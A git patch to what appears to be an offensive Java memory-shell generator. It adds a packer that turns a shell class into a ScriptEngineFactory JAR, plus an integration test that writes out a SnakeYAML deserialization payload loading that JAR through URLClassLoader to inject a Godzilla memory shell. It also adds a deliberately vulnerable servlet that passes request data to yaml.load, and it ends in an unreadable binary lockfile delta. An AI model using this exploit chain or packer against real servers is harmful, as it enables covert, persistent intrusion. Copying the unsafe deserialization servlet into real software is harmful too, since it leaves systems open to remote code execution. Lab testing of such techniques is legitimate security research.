From 59fd17355b87d794346d2dc6c2875f3c3d0d6bb6 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 19 Nov 2025 14:23:39 +0800 Subject: [PATCH] feat: support scriptEngineJar packer --- .../MemShellGeneratorController.java | 10 +- .../javaweb/integration/ShellAssertion.java | 39 +++++- .../Tomcat8DeserializeContainerTest.java | 3 +- .../javaweb/asm/ClassInterfaceUtils.java | 47 +++++++ .../javaweb/asm/ClassInterfaceUtilsTest.java | 120 ++++++++++++++++++ .../javaweb/packer/{jar => }/JarPacker.java | 5 +- .../com/reajason/javaweb/packer/Packers.java | 24 ++-- .../javaweb/packer/jar/AgentJarPacker.java | 1 + .../jar/AgentJarWithJDKAttacherPacker.java | 1 + .../jar/AgentJarWithJREAttacherPacker.java | 1 + .../javaweb/packer/jar/DefaultJarPacker.java | 1 + .../packer/jar/ScriptEngineJarPacker.java | 38 ++++++ vul/vul-webapp-deserialize/build.gradle.kts | 1 + .../src/main/java/SnakeYamlServlet.java | 22 ++++ web/bun.lockb | Bin 216652 -> 216652 bytes .../components/memshell/main-config-card.tsx | 4 +- .../memshell/results/jar-result.tsx | 84 +++++++++--- .../memshell/results/result-component.tsx | 44 +++---- .../memshell/tabs/classname-field.tsx | 3 +- .../probeshell/main-config-card.tsx | 4 +- web/src/i18n/memshell/en.json | 5 +- web/src/i18n/memshell/zh-CN.json | 6 +- web/src/pages/probeshell.tsx | 2 +- web/src/types/schema.ts | 2 +- web/src/utils/transformer.ts | 4 +- 25 files changed, 389 insertions(+), 82 deletions(-) create mode 100644 memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java create mode 100644 memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java rename packer/src/main/java/com/reajason/javaweb/packer/{jar => }/JarPacker.java (74%) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java index cff87e15..25c23df1 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java @@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.jar.JarPacker; import org.springframework.web.bind.annotation.*; import java.util.Base64; @@ -29,12 +29,12 @@ public class MemShellGeneratorController { InjectorConfig injectorConfig = request.getInjectorConfig(); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); + if (packer instanceof AggregatePacker) { + return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + } if (packer instanceof JarPacker) { return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); - } else if (packer instanceof AggregatePacker) { - return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); - } else { - return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } + return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 233d9ba4..a4436664 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -8,11 +8,12 @@ import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.JarPacker; +import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; @@ -21,12 +22,12 @@ import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; -import org.testcontainers.containers.Container; -import org.testcontainers.containers.GenericContainer; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; +import org.testcontainers.containers.Container; +import org.testcontainers.containers.GenericContainer; import org.testcontainers.utility.MountableFile; import java.io.IOException; @@ -107,6 +108,32 @@ public class ShellAssertion { @SneakyThrows public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; + if (packer.getInstance() instanceof AgentJarPacker || + packer.getInstance() instanceof AgentJarWithJREAttacherPacker || + packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) { + injectAgentJar(generateResult, shellTool, shellType, packer, appContainer); + return; + } + if (packer.getInstance() instanceof ScriptEngineJarPacker) { + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + content = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + jarPath + "\"]\n" + + " ]]\n" + + "]"; + } else { + content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + } + injectIsOk(url, shellType, shellTool, content, packer, appContainer); + log.info("send inject payload successfully"); + } + + private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer appContainer) throws IOException, InterruptedException { if (packer.getInstance() instanceof AgentJarPacker) { byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); Path tempJar = Files.createTempFile("temp", "jar"); @@ -143,13 +170,10 @@ public class ShellAssertion { assertThat(stdout, anyOf( containsString("ok") )); - } else { - content = packer.getInstance().pack(generateResult.toClassPackerConfig()); - injectIsOk(url, shellType, shellTool, content, packer, appContainer); - log.info("send inject payload successfully"); } } + @SneakyThrows public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { switch (shellTool) { @@ -365,6 +389,7 @@ public class ShellAssertion { case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); + case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index 9a0d3796..d8c7ac32 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -52,7 +52,8 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar) ); } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java new file mode 100644 index 00000000..9d4f6ea6 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +public class ClassInterfaceUtils { + + public static byte[] addInterface(byte[] bytes, String interfaceName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/')); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + + static class AddInterfaceClassAdapter extends ClassVisitor { + + private final String interfaceToAdd; + + public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) { + super(Opcodes.ASM9, cv); + this.interfaceToAdd = interfaceToAdd; + } + + @Override + public void visit(int version, int access, String name, + String signature, String superName, String[] interfaces) { + for (String itf : interfaces) { + if (itf.equals(interfaceToAdd)) { + super.visit(version, access, name, signature, superName, interfaces); + return; + } + } + String[] newInterfaces = new String[interfaces.length + 1]; + System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length); + newInterfaces[interfaces.length] = interfaceToAdd; + super.visit(version, access, name, signature, superName, newInterfaces); + } + } +} diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java new file mode 100644 index 00000000..63665ea4 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java @@ -0,0 +1,120 @@ +package com.reajason.javaweb.asm; + +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.ClassReader; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineFactory; +import java.io.Serializable; +import java.util.Collections; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +class ClassInterfaceUtilsTest { + + @Test + void test() { + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(1, interfaces.length); + assertEquals(interfaceName.replace(".", "/"), interfaces[0]); + } + + @Test + void skipAdd(){ + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(1, interfaces.length); + assertEquals(interfaceName.replace(".", "/"), interfaces[0]); + } + + @Test + void addNewInterface(){ + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(2, interfaces.length); + assertEquals("java/io/Serializable", interfaces[0]); + assertEquals(interfaceName.replace(".", "/"), interfaces[1]); + } + + static class EmptyInterface { + } + + static class ScriptEngineFactoryClass implements ScriptEngineFactory { + @Override + public String getEngineName() { + return ""; + } + + @Override + public String getEngineVersion() { + return ""; + } + + @Override + public List getExtensions() { + return Collections.emptyList(); + } + + @Override + public List getMimeTypes() { + return Collections.emptyList(); + } + + @Override + public List getNames() { + return Collections.emptyList(); + } + + @Override + public String getLanguageName() { + return ""; + } + + @Override + public String getLanguageVersion() { + return ""; + } + + @Override + public Object getParameter(String key) { + return null; + } + + @Override + public String getMethodCallSyntax(String obj, String m, String... args) { + return ""; + } + + @Override + public String getOutputStatement(String toDisplay) { + return ""; + } + + @Override + public String getProgram(String... statements) { + return ""; + } + + @Override + public ScriptEngine getScriptEngine() { + return null; + } + } + + static class Entity implements Serializable { + + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java similarity index 74% rename from packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java index 9c35f0f9..4b1f8937 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java @@ -1,7 +1,4 @@ -package com.reajason.javaweb.packer.jar; - -import com.reajason.javaweb.packer.JarPackerConfig; -import com.reajason.javaweb.packer.Packer; +package com.reajason.javaweb.packer; /** * @author ReaJason diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index a0e26cb1..6572ba16 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.h2.H2JSPacker; import com.reajason.javaweb.packer.h2.H2JavacPacker; import com.reajason.javaweb.packer.h2.H2Packer; -import com.reajason.javaweb.packer.jar.AgentJarPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.DefaultJarPacker; +import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.jexl.JEXLPacker; import com.reajason.javaweb.packer.jinjava.JinJavaPacker; import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; @@ -72,7 +69,13 @@ public enum Packers { Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class), GzipBase64(new GzipBase64Packer(), Base64Packer.class), - Jar(new DefaultJarPacker()), + /** + * JSP 打包器 + */ + JSP(new JspPacker()), + ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), + DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), + JSPX(new JspxPacker(), JspPacker.class), /** * BigInteger @@ -84,14 +87,6 @@ public enum Packers { */ BCEL(new BCELPacker()), - /** - * JSP 打包器 - */ - JSP(new JspPacker()), - ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), - DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), - JSPX(new JspxPacker(), JspPacker.class), - /** * 脚本引擎打包器 */ @@ -168,6 +163,9 @@ public enum Packers { H2Javac(new H2JavacPacker(), H2Packer.class), H2JS(new H2JSPacker(), H2Packer.class), + Jar(new DefaultJarPacker()), + ScriptEngineJar(new ScriptEngineJarPacker()), + XxlJob(new XxlJobPacker()), ; private final Packer instance; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java index a29424a7..e9b4fe38 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java index ca688dd2..cf37f2e4 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.VirtualMachine; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java index d2919b9c..e0b27346 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.VirtualMachine; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java index 7d18307c..9b3b141b 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.packer.jar; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java new file mode 100644 index 00000000..ebd08e63 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.asm.ClassInterfaceUtils; +import com.reajason.javaweb.packer.JarPacker; +import com.reajason.javaweb.packer.JarPackerConfig; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +public class ScriptEngineJarPacker implements JarPacker { + + @Override + @SneakyThrows + public byte[] packBytes(JarPackerConfig config) { + String mainClassName = config.getMainClassName(); + byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory"); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) { + targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class")); + targetJar.write(bytes); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory")); + targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8)); + targetJar.closeEntry(); + } + return outputStream.toByteArray(); + } +} diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index e350c81a..735e03c9 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -28,6 +28,7 @@ val filesToCopy = objects.fileCollection().from( dependencies { implementation("com.caucho:hessian:4.0.66") + implementation("org.yaml:snakeyaml:1.27") providedCompile("javax.servlet:javax.servlet-api:3.1.0") testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) diff --git a/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java b/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java new file mode 100644 index 00000000..aa8f84ba --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java @@ -0,0 +1,22 @@ +import org.yaml.snakeyaml.Yaml; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +@WebServlet("/snakeYaml") +public class SnakeYamlServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + Yaml yaml = new Yaml(); + yaml.load(data); + } +} diff --git a/web/bun.lockb b/web/bun.lockb index 74d92195f29de7359765a68955b3376081f74018..57d20af7257544ac75f9c57f35c2fdf986336286 100755 GIT binary patch delta 31496 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 